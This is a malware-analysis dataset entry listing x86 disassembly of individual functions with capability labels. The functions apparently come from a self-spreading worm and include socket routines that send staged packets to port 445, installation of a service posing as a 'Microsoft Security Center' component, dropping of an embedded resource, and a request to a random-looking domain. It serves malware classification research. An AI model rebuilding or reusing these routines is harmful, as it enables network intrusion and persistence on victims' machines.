joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x414
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
mov word [esp + 0x10], 2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x424]
push eax
call sub.WS2_32.dll_inet_addr
mov ecx, dword [esp + 0x42c]
mov dword [esp + 0x14], eax
push ecx
call sub.WS2_32.dll_htons
push 0
push 1
push 2
mov word [esp + 0x1e], ax
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x401d68
lea edx, [esp + 0x10]
push 0x10
push edx
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x401d62
push 0
push 0x89
push 0x42e544
push esi
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401d62
push 0
lea eax, [esp + 0x24]
push 0x400
push eax
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x401d62
push 0
push 0x8c
push 0x42e5d0
push esi
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401d62
push 0
lea ecx, [esp + 0x24]
push 0x400
push ecx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x401d62
mov al, byte [esp + 0x40]
push 0
mov bl, al
mov byte [0x42e67c], al
mov al, byte [esp + 0x45]
push 0x60
push 0x42e65c
push esi
mov byte [esp + 0x1f], al
mov byte [0x42e67d], al
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401d62
push 0
lea edx, [esp + 0x24]
push 0x400
push edx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x401d62
mov al, byte [esp + 0x3c]
mov cl, byte [esp + 0x3d]
mov dl, byte [esp + 0xf]
push 0
push 0x52
push 0x42e6bc
push esi
mov byte [0x42e6d8], al
mov byte [0x42e6d9], cl
mov byte [0x42e6dc], bl
mov byte [0x42e6dd], dl
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401d62
push 0
lea eax, [esp + 0x24]
push 0x400
push eax
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x401d62
cmp byte [esp + 0x42], 0x51
jne 0x401d62
mov eax, dword [esp + 0x428]
test eax, eax
jne 0x401d4d
push 0
push 0x52
push 0x42e6bc
push esi
mov byte [0x42e6de], 0x42
mov byte [0x42e6ed], 0xe
mov byte [0x42e6ee], 0x69
mov byte [0x42e6ef], 0
mov byte [0x42e6f0], 0
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401d62
push 0
lea ecx, [esp + 0x24]
push 0x400
push ecx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x401d62
push esi
call sub.WS2_32.dll_closesocket
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x414
ret
push esi
call sub.WS2_32.dll_closesocket
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x414
ret
Function at 0x4072a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x41c
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
mov word [esp + 0x10], 2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x42c]
push eax
call sub.WS2_32.dll_inet_addr
mov ecx, dword [esp + 0x434]
mov dword [esp + 0x14], eax
push ecx
call sub.WS2_32.dll_htons
push 0
push 1
push 2
mov word [esp + 0x1e], ax
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x40746c
lea edx, [esp + 0x10]
push 0x10
push edx
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x407466
push 0
push 0x89
push 0x42e544
push esi
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x407466
push 0
lea eax, [esp + 0x2c]
push 0x400
push eax
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x407466
push 0
push 0x8c
push 0x42e5d0
push esi
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x407466
push 0
lea ecx, [esp + 0x2c]
push 0x400
push ecx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x407466
mov bl, byte [esp + 0x48]
mov al, byte [esp + 0x49]
push 0
push 0x60
push 0x42e65c
push esi
mov byte [0x42e67c], bl
mov byte [esp + 0x1f], al
mov byte [0x42e67d], al
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x407466
push 0
lea edx, [esp + 0x2c]
push 0x400
push edx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x407466
mov al, byte [esp + 0x44]
mov cl, byte [esp + 0x45]
mov dl, byte [esp + 0xf]
push 0
push 0x52
push 0x42e6bc
push esi
mov byte [0x42e6d8], al
mov byte [0x42e6d9], cl
mov byte [0x42e6dc], bl
mov byte [0x42e6dd], dl
mov byte [0x42e72c], al
mov byte [0x42e72d], cl
mov byte [0x42e730], bl
mov byte [0x42e731], dl
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x407466
push 0
lea eax, [esp + 0x2c]
push 0x400
push eax
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x407466
cmp byte [esp + 0x4a], 0x51
jne 0x407466
mov ecx, dword [esp + 0x3e]
mov eax, dword [esp + 0x3a]
push ecx
push eax
mov edi, eax
mov dword [esp + 0x2c], ecx
call fcn.00406eb0
push edi
mov ebx, eax
call fcn.00406ed0
mov ecx, dword [esp + 0x43c]
push ecx
push eax
push ebx
push esi
call fcn.00406f50
add esp, 0x1c
push esi
call sub.WS2_32.dll_closesocket
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x41c
ret
Function at 0x407480
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
sub esp, 0x120
mov ecx, dword [esp + 0x124]
xor eax, eax
mov dword [esp + 2], eax
push esi
mov dword [esp + 0xa], eax
push edi
mov dword [esp + 0x12], eax
mov edi, 1
push 0x1bd
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
push 6
push edi
push 2
mov word [esp + 0x16], ax
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4074e1
pop edi
xor eax, eax
pop esi
add esp, 0x120
ret
lea edx, [esp + 0x18]
push edx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
lea eax, [esp + 8]
push 0x10
push eax
push esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], 0
call sub.WS2_32.dll_connect
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push 0
push edx
push 0
push 0
call sub.WS2_32.dll_select
push esi
mov edi, eax
call sub.WS2_32.dll_closesocket
mov eax, edi
pop edi
pop esi
add esp, 0x120
ret
Function at 0x407a20
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push edi
push 0x50d800
push 0x40
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call esi
test eax, eax
mov dword [0x70f864], eax
jne 0x407a5d
pop edi
pop esi
pop ebx
add esp, 0xc
ret
push 0x50d800
push 0x40
call esi
test eax, eax
mov dword [0x70f868], eax
jne 0x407a84
mov eax, dword [0x70f864]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
xor edx, edx
test edx, edx
mov esi, 0x40b020
je 0x407a94
mov esi, 0x40f080
mov eax, edx
mov edi, dword [edx*4 + 0x70f864]
neg eax
sbb eax, eax
mov dword [esp + edx*4 + 0x10], edi
and eax, 0x8844
add eax, 0x4060
mov ecx, eax
mov ebx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + edx*4 + 0x10]
add esi, eax
mov dword [esp + edx*4 + 0x10], esi
inc edx
cmp edx, 2
jl 0x407a86
push 0
push 4
push 3
push 0
push 1
push closesocket
push 0x70f760
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x407b11
mov ecx, dword [0x70f864]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ecx
call esi
mov edx, dword [0x70f868]
push edx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [esp + 0x10]
mov edi, eax
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esi + 4]
push edi
push ecx
push ebx
mov dword [esi], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0xc], edi
je 0x407b62
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x70f864]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push edx
call esi
mov eax, dword [0x70f868]
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
lea ecx, [edi + 4]
mov edi, dword [esp + 0x14]
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret

Function at 0x407b90
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x407bb2
xor eax, eax
add esp, 0x190
ret
call fcn.00407620
call fcn.00407a20
add esp, 0x190
ret

Function at 0x407bd0
Capabilities:
Create thread

Disassembly:
call fcn.00407b90
test eax, eax
jne 0x407bda
ret
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__beginthreadex]
push 0
push 0
push 0
push 0x407720
push 0
push 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x18
test eax, eax
je 0x407c05
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
push 0
push esi
push 0x407840
push 0
push 0
call edi
add esp, 0x18
test eax, eax
je 0x407c27
push eax
call ebp
push 0x7d0
call ebx
inc esi
cmp esi, 0x80
jl 0x407c0d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x407c40
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x104
lea eax, [esp]
push edi
push 0x70f760
push str._s__m_security
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x407cca
push ebx
push esi
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push 1
push 2
push 0x10
push 0xf01ff
push str.Microsoft_Security_Center__2.0__Service
push str.mssecsvc2.0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x407cbb
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x104
ret
xor eax, eax
pop edi
add esp, 0x104
ret
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push 0x4313b4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4313a4
push esi
call edi
push 0x431398
push esi
mov dword [0x431478], eax
call edi
push 0x43138c
push esi
mov dword [0x431458], eax
call edi
push 0x431380
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x43136c
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.WINDOWS
lea eax, [esp + 0x70]
push str.C:_s_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push str.WINDOWS
push str.C:_sqeriuwjhrf
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
nop
nop
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10
Function at 0x4b86c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x616e4c
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x653af8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp dword [ebp + 8], 0
mov dword [ebp - 0x14], 0
je 0x4b8734
mov dword [ebx], 0x49297c
mov dword [ebx + 0x58], 0
mov dword [ebx + 0x78], 0
mov dword [ebx + 0x7c], 0
mov dword [ebx + 0x80], 0
mov dword [ebx + 0x50], 0x4928e0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
mov eax, dword [ebx]
lea esi, [ebx + 4]
push 0
push esi
mov dword [ebp - 0x10], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], 0x4928e8
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + ebx - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
add ecx, ebx
call fcn.004c3890
mov eax, dword [ebx]
push 8
mov dword [ebp - 4], 2
mov dword [ebp - 0x1c], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], 0x492978
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ecx + ebx - 4], eax
mov dword [esi], 0x4928f8
call fcn.006024b7
mov esi, eax
add esp, 4
test esi, esi
je 0x4b87b3
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov byte [ebp - 4], 3
call fcn.005eda64
add esp, 4
mov dword [esi + 4], eax
jmp 0x4b87b5
xor esi, esi
lea eax, [ebx + 4]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
lea edi, [eax + 0x14]
mov dword [eax + 0x1c], edi
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea edx, [eax + 0x24]
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax], 0x492938
mov dword [eax + 0x38], 0
mov dword [eax + 0x3c], 4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b8840
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x616e70
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x653af8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], 0x4928f8
call fcn.006024b7
mov esi, eax
add esp, 4
test esi, esi
je 0x4b88a0
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.005eda64
add esp, 4
mov dword [esi + 4], eax
jmp 0x4b88a2
xor esi, esi
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b8b70
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x616ef8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x653af8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov dword [ebx + 4], eax
mov dword [ebx + 8], 0
mov byte [ebx + 0xc], 0
mov dword [ebx], 0x4927e4
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0
lea edi, [ebx + 0x18]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
mov dword [edi], 0x492730
mov byte [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
lea esi, [edi + 0x18]
mov byte [ebp - 4], 1
push 0x20
mov dword [ebp - 0x18], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.006024b7
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov eax, ebx
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov word [edi + 0x30], 0
mov dword [ebx], 0x492840
mov dword [edi], 0x49285c
mov dword [ebx + 0x50], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b9400
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6170fb
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x653af8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
xor eax, eax
mov dword [edi], 0x49275c
mov dword [edi + 4], 0
mov word [edi + 8], ax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0xf
mov byte [edi + 0x18], al
mov dword [edi + 0x14], 0x492708
mov dword [edi + 0x44], eax
mov dword [edi + 0x48], 0xf
mov byte [edi + 0x34], al
mov dword [edi + 0x30], 0x492708
mov dword [edi + 0x60], eax
mov dword [edi + 0x64], 0xf
mov byte [edi + 0x50], al
mov dword [edi + 0x4c], 0x492708
mov byte [edi + 0x68], al
mov dword [edi + 0x6c], eax
mov dword [ebp - 4], eax
mov dword [edi + 0x80], eax
mov dword [edi + 0x84], eax
mov dword [edi + 0x88], eax
mov byte [edi + 0x8c], 1
mov dword [edi + 0x90], 1
mov dword [edi + 0x94], eax
mov dword [edi + 0x98], eax
mov dword [edi + 0x9c], eax
mov dword [edi + 0x7c], 0x492754
mov dword [edi + 0x74], eax
mov dword [edi + 0x78], eax
push 0x128
push eax
lea esi, [edi + 0x190]
mov byte [ebp - 4], 1
push esi
mov byte [edi + 0x18c], al
call fcn.006046d0
xor eax, eax
cmp byte [edi + 0x18c], al
setne al
push eax
push esi
call fcn.0052faf0
mov dword [edi + 0x2b8], 0
mov dword [edi + 0x2c4], 0
mov dword [edi + 0x2c8], 0
mov dword [edi + 0x2cc], 0
lea esi, [edi + 0x2d0]
mov byte [ebp - 4], 3
push 0x60
mov dword [ebp - 0x10], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.006024b7
add esp, 0x18
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov dword [edi + 0x2d8], 0
mov dword [edi + 0x2dc], 0
mov dword [edi + 0x2e0], 0
mov dword [edi + 0x2ec], 0
mov dword [edi + 0x2f0], 0
mov dword [edi + 0x2f4], 0
mov eax, dword fs:[0x2c]
mov ecx, dword [0x65ba6c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x659c20]
cmp eax, dword [ecx + 0x10]
jg 0x4b9630
mov dword [edi + 0x2f8], 0x659ad0
mov dword [edi + 0x310], 0
mov dword [edi + 0x314], 0
mov dword [edi + 0x318], 0
mov byte [edi + 0x31c], 1
mov dword [edi + 0x320], 1
mov dword [edi + 0x324], 0
mov dword [edi + 0x328], 0
mov dword [edi + 0x32c], 0
mov dword [edi + 0x30c], 0x492754
mov ecx, edi
mov byte [ebp - 4], 8
call fcn.004be210
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x659c20
call fcn.0060292a
add esp, 4
cmp dword [0x659c20], 0xffffffff
jne 0x4b95b1
push 0x659ad0
mov byte [ebp - 4], 7
call fcn.005309d0
push 0x62d570
call fcn.006027d4
push 0x659c20
call fcn.006028e0
add esp, 0xc
jmp 0x4b95b1